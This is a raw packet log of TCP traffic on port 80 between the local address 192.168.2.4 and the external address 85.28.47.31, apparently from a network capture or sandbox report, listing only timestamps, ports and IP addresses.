Jul 27, 2024 05:39:11.038794994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039463043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039510965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039542913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039545059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039567947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039576054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039597988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039608002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039633989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039640903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039674044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039680004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039695978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039706945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039733887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039741039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.039777040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.039793968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.040031910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.040064096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.040106058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.040112019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.040126085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.040144920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.040177107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.040179968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.040196896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.040211916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.040235996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.040277004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.113792896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.113861084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.113889933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.113897085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.113917112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.113931894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.113960028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.113966942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.113977909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.114001989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.114025116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.114037037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.114059925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.114070892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.114095926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.114104033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.114134073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.114140034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.114159107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.114200115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116681099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116731882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116779089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116780996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116803885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116831064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116838932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116866112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116897106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116903067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116919994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116930962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116954088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116964102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.116986990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.116997957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117028952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117033005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117053032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117062092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117086887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117095947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117125034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117134094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117146015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117167950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117192030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117199898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117221117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117233038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117255926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117284060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117304087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117332935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.117367029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.117383957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121517897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121612072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121670961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121720076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121742964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121752977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121776104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121787071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121803999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121819973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121834993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121855021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121887922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121887922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121913910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121921062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121948957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121954918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.121973038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.121989012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122008085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122044086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122049093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122098923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122103930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122137070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122160912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122169018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122194052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122203112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122222900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122236013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122255087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122270107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122289896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122308969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122323990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122344017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122376919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122384071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122400999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122411013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122433901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122445107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122478962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122487068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122504950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122515917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122529030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122550011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122569084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122582912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122606039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122618914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122639894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122694969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122740984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122776985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122796059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122811079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122831106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122854948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122870922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122903109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122905016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122946024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.122961998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.122982979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.123003006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.123017073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.123040915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.123050928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.123074055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.123085976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.123102903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.123121023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.123146057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.123179913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.126852989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.126903057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.126924992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.126935959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.126959085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.126969099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.126992941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127002954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127029896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127036095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127055883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127070904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127090931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127103090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127123117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127154112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127157927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127204895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127217054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127238989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127263069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127270937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127298117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127311945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127329111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127345085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127363920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127379894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.127401114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.127437115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128254890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128305912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128325939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128338099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128365040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128386974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128428936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128477097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128501892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128529072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128532887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128566980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128587008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128599882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128622055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128633022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128654957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128667116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128694057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128701925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128719091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128736019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128756046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128772020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128791094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128807068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128825903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128855944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128858089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128889084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128911018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128921986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128951073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128954887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.128971100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.128988028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129010916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129020929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129041910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129057884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129080057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129091024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129116058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129144907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129149914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129194021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129198074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129226923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129249096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129261017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129282951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129295111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129312038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129328012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129360914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129362106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129380941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129394054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129415989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129432917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129451036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129462004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129487038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129520893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129584074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129642963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129678011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129710913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129740953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.129748106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129776955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.129795074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.203342915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203392982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203427076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203459024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203493118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203524113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203561068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.203619003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.203619957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.203619957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.203619957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.209724903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.209758997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.209791899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.209825039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.209861040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210014105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210014105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210014105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210014105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210097075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210130930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210163116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210170984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210196018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210196972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210215092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210230112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210256100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210263968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210295916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210299969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210321903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210329056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210352898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210361004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210386038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210392952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.210429907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.210454941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.213684082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.213767052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.213915110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.213948965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.213980913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214010954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214067936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214099884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214132071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214135885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214157104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214164972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214185953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214215994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214221954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214248896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214282036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214284897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214303970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214313984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214343071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214346886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214385986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214396000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214411020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214431047 CEST	80	49477	85.28.47.31	192.168.2.4
